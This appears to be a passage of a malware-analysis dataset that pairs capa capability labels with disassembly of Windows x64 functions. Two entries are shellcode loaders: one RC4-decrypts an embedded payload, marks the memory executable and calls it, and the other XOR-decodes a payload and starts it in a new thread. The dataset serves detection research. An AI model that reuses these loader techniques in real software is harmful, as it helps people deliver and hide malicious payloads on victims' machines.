joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0xa0
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov edx, dword [0x140034044]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000113a
mov rcx, rax
mov eax, dword [0x140034044]
mov edx, eax
test eax, eax
je 0x140001068
lea r8, [0x140002040]
sub r8, rcx
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001051
mov eax, dword [0x140034044]
movups xmm0, xmmword [str.SnNWhrqT1SBCVbCvY69LVYkthZSFZhUvHvMiwt6VXSVQupy9TNC03mF1nN0X3OY9]
mov dword [rsp + 0x38], eax
lea rcx, str.cryptsp.dll
movups xmm1, xmmword [0x140034010]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140034020]
mov byte [rsp + 0x90], 0
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x140034030]
mov qword [rsp + 0x40], rbx
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x2c], 0x40
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x38]
call rax
mov edx, dword [0x140034044]
lea r9, [rsp + 0x20]
mov r8d, 0x10
mov dword [rsp + 0x20], 0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000113a
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
add rsp, 0xa0
pop rbx
ret
mov eax, 0xffffffff
add rsp, 0xa0
pop rbx
ret
Function at 0x140ef1058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140ef11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ef1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ef106f
add dl, dl
jne 0x140ef1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ef10f6
xor eax, eax
add dl, dl
jne 0x140ef10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ef11ad
add dl, dl
jne 0x140ef10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ef10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ef107e
mov eax, 1
add dl, dl
jne 0x140ef1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ef1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ef10fb
sub eax, ebx
mov ebx, 1
jne 0x140ef114c
mov ecx, 1
add dl, dl
jne 0x140ef112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ef113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ef1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ef107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ef1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ef1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ef115d
cmp eax, 0x7d00
jae 0x140ef119b
cmp eax, 0x500
jb 0x140ef1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ef107e
cmp eax, 0x7f
ja 0x140ef119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ef107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ef11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ef107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003b80
Capabilities:
Get common file path

Disassembly:
push rbp
push rsi
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 8], 0
lea r9, [rbp - 8]
mov rcx, rdx
xor edx, edx
xor r8d, r8d
call sub.shell32.dll_SHGetKnownFolderPath
mov rcx, qword [rbp - 8]
test eax, eax
je 0x140003bcb
call sub.ole32.dll_CoTaskMemFree
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x140003bf8
call sub.kernel32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.14000d040
mov rcx, qword [rbp - 8]
call sub.ole32.dll_CoTaskMemFree
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, rsi
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x14000b5c0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x14000b660
jmp 0x14000b64f
jae 0x14000b71f
cmp r8, 0x201
jae 0x14000b660
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x14000b6b7
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14000b68f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.14002d480
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x14000b6e0
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14000b78b
mov r8d, r13d
cmp r12, r8
jne 0x14000b640
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000b7bf
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x14000b64f
jmp 0x14000b660
cmp r14, r8
jb 0x14000b7d9
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.14000d040
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x14000b774
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.140003b30
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x14000b75f
jmp 0x14000b774
lea rcx, str.internal_error:_entered_unreachable_codeP
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14002e1a0
jmp 0x14000b7ee
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14002e4f0
ud2
Function at 0x140010d80
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10b8
call fcn.14002c6e0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1020], xmm6
mov qword [rbp + 0x1018], 0xfffffffffffffffe
mov qword [rbp + 0x1008], rdx
mov r15, rcx
lea r12, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xorps xmm6, xmm6
lea r13, [rbp + 0xffc]
lea rbx, [0x140016be0]
lea r14, [rbp + 0xfb0]
mov rsi, qword [sym.imp.kernel32.dll_WriteFileEx]
mov rdi, qword [sym.imp.kernel32.dll_SleepEx]
mov qword [rbp + 0x1010], r15
mov r8d, 0x1000
mov rcx, r15
mov rdx, r12
call case.0x14000f2d7.164
mov r15, rdx
mov qword [rbp + 0xfd8], rax
mov qword [rbp + 0xfe0], rdx
test rax, rax
jne 0x140010f70
test r15, r15
je 0x140010f3c
cmp r15, 0x1000
ja 0x140010f92
xor r12d, r12d
nop word cs:[rax + rax]
mov r8d, r15d
sub r8d, r12d
lea rdx, [r12 + rbp]
add rdx, 0xffffffffffffffb0
mov dword [rbp + 0xffc], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r13
mov qword [rsp + 0x20], rbx
mov rcx, qword [rbp + 0x1008]
mov r9, r14
call rsi
test eax, eax
je 0x140010f10
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call rdi
cmp dword [rbp + 0xffc], 0
je 0x140010ea0
mov ecx, dword [rbp + 0x1000]
mov eax, dword [rbp + 0x1004]
mov rdx, rcx
shl rdx, 0x20
or rdx, 2
xor r8d, r8d
test ecx, ecx
setne r8b
cmove rdx, rax
mov qword [rbp + 0xfe8], r8
mov qword [rbp + 0xff0], rdx
jne 0x140010f30
add r12, rax
cmp r12, r15
je 0x140010f00
jbe 0x140010e50
jmp 0x140010f7e
mov r15, qword [rbp + 0x1010]
lea r12, [rbp - 0x50]
jmp 0x140010dfe
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0xfe8], 1
mov qword [rbp + 0xff0], rax
lea rcx, [rbp + 0xff0]
call fcn.140005a40
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1010]
call rsi
mov rcx, qword [rbp + 0x1008]
call rsi
movaps xmm6, xmmword [rbp + 0x1020]
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0xfe0]
call fcn.140005a40
jmp 0x140010f3c
lea r8, str.library_std_src_syspalwindowspipe.rs
mov rcx, r12
mov rdx, r15
call fcn.14002e500
jmp 0x140010fa6
lea r8, str.library_std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, r15
call fcn.14002e4f0
ud2
Function at 0x140015020
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140073158]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x140015058
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x1400150af
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0xc0000011
jne 0x1400150bc
xor edx, edx
xor eax, eax
jmp 0x1400150e6
cmp eax, 0x103
je 0x1400150f0
test eax, eax
js 0x1400150cf
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x1400150e6
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.i1_a_
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.14000cea0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.1400060b0
mov ecx, 7
int 0x29
ud2

Function at 0x140015140
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x140073158]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x140015178
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400151d6
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x140015203
test eax, eax
js 0x1400151e2
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x1400151f9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.i1_a_
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.14000cea0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.1400060b0
mov ecx, 7
int 0x29
ud2
Function at 0x1400170d0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140017240
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
jne 0x14001710d
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x140017205
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x140017223
sub rax, rdx
add rdx, qword [rbx + 8]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rbp + 4], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rbp + 4]
mov r8d, eax
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x14001716c
mov eax, dword [rbp + 4]
mov ecx, 2
test rax, rax
je 0x1400171af
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x1400171b3
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x40], rax
movabs rcx, 0xffffffff00000000
and rcx, rax
movabs rdx, 0x6d00000000
cmp rcx, rdx
je 0x1400171b7
movabs rdx, 0x3e500000000
cmp rcx, rdx
jne 0x1400171e1
lea rax, [rbp - 8]
jmp 0x1400171c3
mov byte [rsi + 1], 0
xor eax, eax
jmp 0x1400171e7
mov qword [rbp - 8], 1
lea rax, [rbp - 0x10]
mov qword [rax], 0
lea rcx, [rbp - 0x40]
call fcn.140005a40
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
cmp rcx, 2
jne 0x1400171f2
mov qword [rsi + 8], rax
mov al, 1
mov byte [rsi], al
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
test rcx, rcx
jne 0x140017155
mov ecx, 1
jmp 0x14001715f
mov r8d, 0x10
mov rcx, rbx
call fcn.14002d5d0
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x14001711a
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.14002d5d0
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x14001711a
mov qword [rbp - 0x40], 0
lea rdx, [rbp - 0x40]
mov rcx, rdi
call fcn.14002d3f0
int3
Function at 0x14001b640
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.14001da10
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
movabs r14, 0x8000000000000000
cmp rcx, r14
jne 0x14001b67e
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], r14
jmp 0x14001b6a4
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 0x40], rcx
Function at 0x14002b240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14002b2ca
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14002b2c0
cmp r11, r10
ja 0x14002b346
cmp r10, rdx
ja 0x14002b358
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x14002b2c2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14002b2a0
jmp 0x14002b327
ja 0x14002b2ca
mov r11, r10
cmp rax, r8
jne 0x14002b267
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14002b32b
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14002b300
mov r8, r10
sub ecx, r9d
jns 0x14002b31e
jmp 0x14002b32d
cmp r10, rdx
je 0x14002b33a
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14002b32d
xor al, 1
cmp r8, rdx
jne 0x14002b2e0
jmp 0x14002b32d
xor eax, eax
jmp 0x14002b32d
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14002e0a0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14002e500
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14002e4f0
int3

Function at 0x14002cc14
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14002cc5e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002cc5e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002cc5e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002cc5e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002cc5e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002cc60
xor al, al
add rsp, 0x28
ret
Function at 0x140006700
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000674a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000674a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000674a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000674a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000674a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000674c
xor al, al
add rsp, 0x28
ret

Function at 0x140001000
Capabilities:
Create thread
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
movzx ebx, byte [str.meowmeow]
mov r11, qword [0x140004081]
movzx r10d, byte [0x140004082]
movzx r9d, byte [0x140004083]
movzx ecx, byte [0x140004086]
movzx r8d, byte [0x140004084]
movzx edx, byte [0x140004085]
movzx eax, byte [0x140004087]
xor byte [0x1400040a6], cl
xor byte [0x140004096], cl
lea rcx, [0x140004090]
xor byte [0x1400040a0], bl
xor byte [0x1400040a1], r11b
xor byte [0x1400040a2], r10b
xor byte [0x1400040a3], r9b
xor byte [0x1400040a4], r8b
xor byte [0x1400040a5], dl
xor byte [0x1400040a7], al
xor byte [0x1400040a8], bl
xor byte [0x1400040a9], r11b
xor byte [0x1400040aa], r10b
xor byte [0x1400040ab], r9b
xor byte [0x140004090], bl
xor byte [0x140004091], r11b
xor byte [0x140004092], r10b
xor byte [0x140004093], r9b
xor byte [str._b_tEC], r8b
xor byte [0x140004095], dl
xor byte [0x140004097], al
xor byte [0x140004098], bl
xor byte [0x140004099], r11b
xor byte [0x14000409a], r10b
xor byte [0x14000409b], r9b
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400040a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x142
xor ecx, ecx
mov r9d, 4
mov qword [0x140004800], rax
mov r8d, 0x3000
call rax
xor r9d, r9d
lea rcx, [0x1400040b0]
xor edx, edx
lea r10, str.mysupersecretkey
mov rbx, rax
nop word [rax + rax]
xor r8d, r8d
lea rcx, [rcx + 1]
cmp rdx, 0x10
cmovne r8, rdx
inc r9d
movzx eax, byte [r8 + r10]
lea rdx, [r8 + 1]
xor byte [rcx - 1], al
cmp r9d, 0x142
jb 0x140001150
mov r8d, 0x142
lea rdx, [0x1400040b0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x30]
mov edx, 0x142
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400011d8
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001200
add rsp, 0x40
pop rbx
ret

Function at 0x140001ac8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b12
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b14
xor al, al
add rsp, 0x28
ret
Function at 0x1400043d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r13
push r14
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov rdi, rcx
mov qword [rsp + 0x58], rcx
xor r13d, r13d
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
test eax, eax
jne 0x1400045d5
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x140004456
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.140021160
nop
movzx eax, word [0x14002ec70]
mov word [rsp + 0x30], ax
movzx eax, byte [0x14002ec72]
mov byte [rsp + 0x30], 0x5c
xor byte [rsp + 0x31], 0x4f
xor al, 0x51
mov byte [rsp + 0x32], al
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400044a0
lea rsi, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rsi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x70]
test rbx, rbx
je 0x140004548
test r14, r14
je 0x140004548
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x30]
add rdx, rbx
lea rax, [rsp + 0x30]
cmp rax, rdx
je 0x140004510
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rbp + rax - 0x80], 1
inc rcx
cmp rcx, rdx
jne 0x140004500
lea rax, [r14 - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rsi
movzx eax, byte [r8]
cmp byte [rbp + rax - 0x80], 0
jne 0x140004543
cmp r8, rsi
je 0x140004548
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax - 0x80], 0
je 0x140004530
sub r8, rsi
jmp 0x14000454f
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
cmp r14, r8
cmovb r8, r14
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140021160
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400045c2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400045bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002a8d0
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movups xmmword [rdi], xmm1
movups xmmword [rdi + 0x10], xmm2
jmp 0x1400045f5
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], r13
mov r8d, 0x1b
lea rdx, str.Failed_to_get_AppData_path.
mov rcx, rdi
call fcn.140021160
mov rax, rdi
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.14002a8b0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret